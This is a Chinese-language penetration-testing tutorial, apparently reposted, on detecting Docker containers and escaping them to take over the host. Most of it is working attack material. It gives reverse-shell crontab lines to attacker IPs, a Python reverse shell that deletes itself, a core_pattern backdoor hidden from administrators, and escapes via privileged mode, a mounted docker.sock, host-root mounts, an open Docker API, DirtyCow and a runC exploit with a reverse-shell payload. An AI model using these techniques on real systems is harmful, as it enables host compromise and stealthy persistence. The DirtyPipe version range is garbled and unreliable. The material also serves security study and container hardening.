容器逃逸檢測及逃逸方法


在滲透測試過程中,有時拿到一個目標之后發現並不是服務器本身,而是一個虛擬容器,很多時候就不知道該如何獲取到宿主機的控制權限。本篇文章主要介紹在拿到一個服務器權限之后如何判斷是否為容器,以及介紹一些常見的容器逃逸的檢測方法以及利用方式,提供網上一些檢測工具。

1、如何判斷當前環境是否為docker容器?

可通過執行如下命令判斷:

cat /proc/1/cgroup | grep -qi docker && echo "IS Docker" || echo "Not Docker"

 

命令解釋:

cgroup:可以通俗的理解為用戶和組的關系列表,是Linux內核提供的一種機制,可根據需求將一系列任務及其子任務整合到按照資源分配等級不同的組里面,為系統資源管理提供統一框架。

 

grep -qi:grep命令查詢內容,-q不打印檢索結果,-i不區分大小寫。

也就是說在”/proc/1/cgroup“文件中搜索匹配”docker“字符,如果匹配的到輸出”IS Docker“否則輸出”Not Docker“。

2、如何逃逸容器?

常見方法有三種:①不安全的配置;②相關程序漏洞;③內核漏洞。

 

一、不安全的配置

1、特權模式

執行如下命令,如果返回的是Yes則說明當前是特權模式,如果返回的是No則不是。

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Yes" || echo "No"

當使用特權模式啟動容器時,可以獲取大量設備文件訪問權限。因為當管理員執行docker run --privileged時,Docker容器將被允許訪問主機上的所有設備,並可以執行mount命令進行掛載。此時就可以將對方主機的主目錄掛載並進行寫文件操作,將反彈shell的命令寫入計划任務。

啟動一個容器

利用方法如下:

①查看磁盤文件fdisk -l

 

②將/dev/sda1也就是磁盤掛載到本地的任意文件下

 

此時這個yuuki目錄下的就是容器的宿主機本機的根目錄,之后就可以進行寫文件操作。

③寫入計划任務

vps設置監聽

nc -l 9999(mac上使用nc)

寫入計划任務

echo '****bash -i >& /dev/tcp/192.168.1.100/9999 0>&1' >> /yuuki/var/spool/cron/root

當遇到反彈不回來shell時可以參考文章

https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/

 

 

2、掛載Docker Socket

執行如下命令,如果返回的是Yes則說明當前是掛載了Docker Socket,如果返回的是No則不是。

ls /var/run/ | grep -qi docker.sock && echo "Yes" || echo "No"

當啟動容器時掛載了docker.sock,也就是docker in docker,在docker容器中調用和執行宿主機的docker,將宿主機的docker文件和docker.sock文件掛載到容器中。

docker run --rm -it \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/bin/docker:/usr/bin/docker \ ubuntu \ /bin/bash

利用方式如下:

①檢測是否掛載了 Docker Socket

②查找掛載的路徑

ls /var/run/ | grep -qi docker.sock && echo "Yes" || echo "No" find / -name docker.sock

③在容器中查看宿主機docker信息

docker -H unix:///var/run/docker.sock info

④運行一個新容器並掛載宿主機的根目錄

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

⑤計划任務寫shell或寫ssh秘鑰。

 

3、掛載procfs

執行如下命令,如果返回的是Yes則說明當前是掛載了procfs,如果返回的是No則不是。

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Yes" || echo "No"

命令解釋:wc -l是指用於計算字數顯示行數。

procfs是一個偽文件系統,它動態反映着系統內進程及其他組件的狀態,其中有許多十分敏感重要的文件。因此,將宿主機的procfs掛載到不受控的容器中也是十分危險的,尤其是在該容器內默認啟用root權限,且沒有開啟User Namespace時。此時就可以在掛載了procfs的容器中利用core_pattern后門實現容器逃逸。

啟動一個容器並掛載procfs 

docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern  ubuntu

利用過程如下:

①檢查是否掛載了procfs

②編輯腳本.x.py放置在tmp目錄中

import os import pty import socket lhost = "192.168.1.100" lport = 10000
def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/.x.py') s.close() if __name__ == "__main__": main()

③編輯崩潰程序crash.c放置在tmp目錄中

#include <stdio.h>
 int main(void) { int *a = NULL; *a = 1; return 0; }

④如下圖執行

 

然后vps中nc監聽即可。

這其中payload中使用空格加\r的方式,覆蓋掉了真正的|/tmp/.x.py。這樣一來,即使管理員通過cat /proc/sys/kernel/core_pattern的方式查看,也只能看到core;

/tmp/.x.py是一個隱藏文件,直接ls是看不到的;

os.remove('/tmp/.x.py')在反彈shell的過程中刪掉了用來反彈shell的程序自身;

按照上述語句操作,最終我們是無法獲得預期效果的*。這是因為Linux轉儲機制對/proc/sys/kernel/core_pattern內程序的查找是在宿主機文件系統進行的,而我們的/tmp/.x.py是容器內路徑。可以在容器中先查看容器在宿主機中的真正位置

cat /proc/mounts | grep docker

然后改變payload即可使得程序在奔潰時能順利找到容器內部的py文件了。

 

 

4、掛載主機根目錄

執行如下命令,如果返回的是Yes則說明當前是掛載了根目錄,如果返回的是No則不是。

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Yes" || echo "No"

當容器掛載了宿主機根目錄,就可以直接寫計划任務或ssh秘鑰。

5、Docker remote api未授權訪問

執行如下命令,如果返回的是Yes則說明當前是存在未授權,如果返回的是No則不是。

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Yes" || echo "No"

這種情況其實是服務器開起了docker的api且沒有做限制,開啟方式:

docker daemon  -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

此時只要用客戶端去連接服務端即可(前提是兩個版本要一樣)

docker -H 192.168.1.18:2375 ps

也可以參考官方指導書,通過網頁訪問的方式操作服務器docker。https://docs.docker.com/engine/api/v1.23/

 

 

二、內核漏洞

1、CVE-2016-5195 DirtyCow(臟牛)逃逸

當通過執行命令uname -r,如果在 2.6.22 <= 版本 <= 4.8.3 之間說明可能存在 CVE-2016-5195 DirtyCow 漏洞。

環境搭建

下載測試容器

git clone https://github.com/gebl/dirtycow-docker-vdso.git

啟動容器

宿主機環境

 

容器環境

 

進入dirtycow-vdso目錄執行make,然后執行命令./0xdeadbeef 192.168.1.100:9999

在vps上設置監聽即可。

 

2、CVE-2020-14386

執行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之間說明可能存在 CVE-2020-14386 漏洞。

 

3、CVE-2022-0847 DirtyPipe 逃逸

執行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之間說明可能存在 CVE-2022-0847 DirtyPipe 漏洞。

 

 

4、CVE-2019-5736 runC逃逸

Docker版本 < 18.09.2,runC版本< 1.0-rc6,可以通過特定的容器鏡像或者exec操作可以獲取到宿主機的runC執行時的文件句柄並修改掉runc的二進制文件,從而獲取到宿主機的root執行權限。

環境搭建

准備文件

#!/bin/bash # date: 20190523 # author: thinkycx # Description: you can use this to install vulnerable docker ( CVE-2019-5736 docker runc escape ) # tested on centos7/ubuntu16.04 # Usage: # 1. curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh # 2. run docker_escape in docker container # 
 _centos_docker_old_version(){ sudo yum install containerd.io wget https://download.docker.com/linux/centos/7/x86_64/stable/Packages/docker-ce-18.06.0.ce-3.el7.x86_64.rpm sudo yum install docker-ce-18.06.0.ce-3.el7.x86_64.rpm # sudo yum install docker-ce-cli
    # I cannot find a version matches with the docker-ce, so I didn't install it.

    # docker --version
    # Docker version 18.06.0-ce, build 0ffa825

    # more info
    # It seems that we can use the scirpt to install docker. I haven't tested it.
    # apt-get -y install curl
    # curl -fsSL test.docker.com -o test-docker.sh
    # VERSION=18.03.1 sh test-docker.sh
} centos_install_docker(){ # date 20190523
    # ref https://docs.docker.com/install/linux/docker-ce/centos/#install-using-the-convenience-script
    echo "[*] uninstall old..." sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine # The contents of /var/lib/docker/, including images, containers, volumes, and networks, are preserved. 
    # The Docker CE package is now called docker-ce

    # Install using the repository
    ## SET UP THE REPOSITORY
    ### Install required packages. yum-utils provides the yum-config-manager utility
    sudo yum install -y yum-utils \ device-mapper-persistent-data \ lvm2 ### set up the stable repository.
    sudo yum-config-manager \ --add-repo \ https://download.docker.com/linux/centos/docker-ce.repo # install a specific version of Docker CE
    #yum list docker-ce --showduplicates | sort -r

    # sudo yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io
    # e.g docker-ce-18.09.1
    #sudo yum install docker-ce-18.09.6 docker-ce-cli-18.09.6 containerd.io

    # check GPG key, verify that the fingerprint matches
    # 060A 61C5 1B55 8A7F 742B 77AA C52F EB6B 621E 9F35
 _centos_docker_old_version sudo systemctl start docker } ubuntu_install_docker(){ # use script to install docker on ubuntu
    curl -fsSL https://get.docker.com -o get-docker.sh && \ sudo VERSION=18.06.0 sh get-docker.sh sudo systemctl start docker } install_dependencies(){ source /etc/os-release echo "OS: ", $ID if [ $ID == "centos" ]; then centos_install_docker elif [ $ID == "ubuntu" ]; then ubuntu_install_docker else echo "[!] cannot support your OS." exit fi echo "[*] start to run docker..." docker run -itd ubuntu:18.04 "/bin/bash" } # bash main...
install_dependencies # Please run it manually in docker container.
docker_escape(){ # run commands in container as to escape docker container . 
    # yous should compile POC yourself
    # https://github.com/Frichetten/CVE-2019-5736-PoC
    # compile main.go on macOS :
    # $ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o poc main.go 
    apt-get update -y && \ apt-get install curl -y  && \ apt-get install libseccomp-dev -y curl URL -o poc && \ chmod u+x ./poc ./poc }

對該文件install.sh賦予777權限並運行。

# 下載POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC # 修改Payload
vi main.go payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.1.102/9999 0>&1" (vps設置nc監聽) # 編譯生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

將編譯好的main文件上傳到容器中,賦予777權限並執行

 

服務器中管理員通過exec進入容器,觸發payload,vps收到shell

 

參考鏈接:

檢測腳本https://github.com/teamssix/container-escape-check

https://zhuanlan.zhihu.com/p/266185214

https://zone.huoxian.cn/d/990

https://teamssix.com/220318-164446.html

 

2022-03-23 15:14:06  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM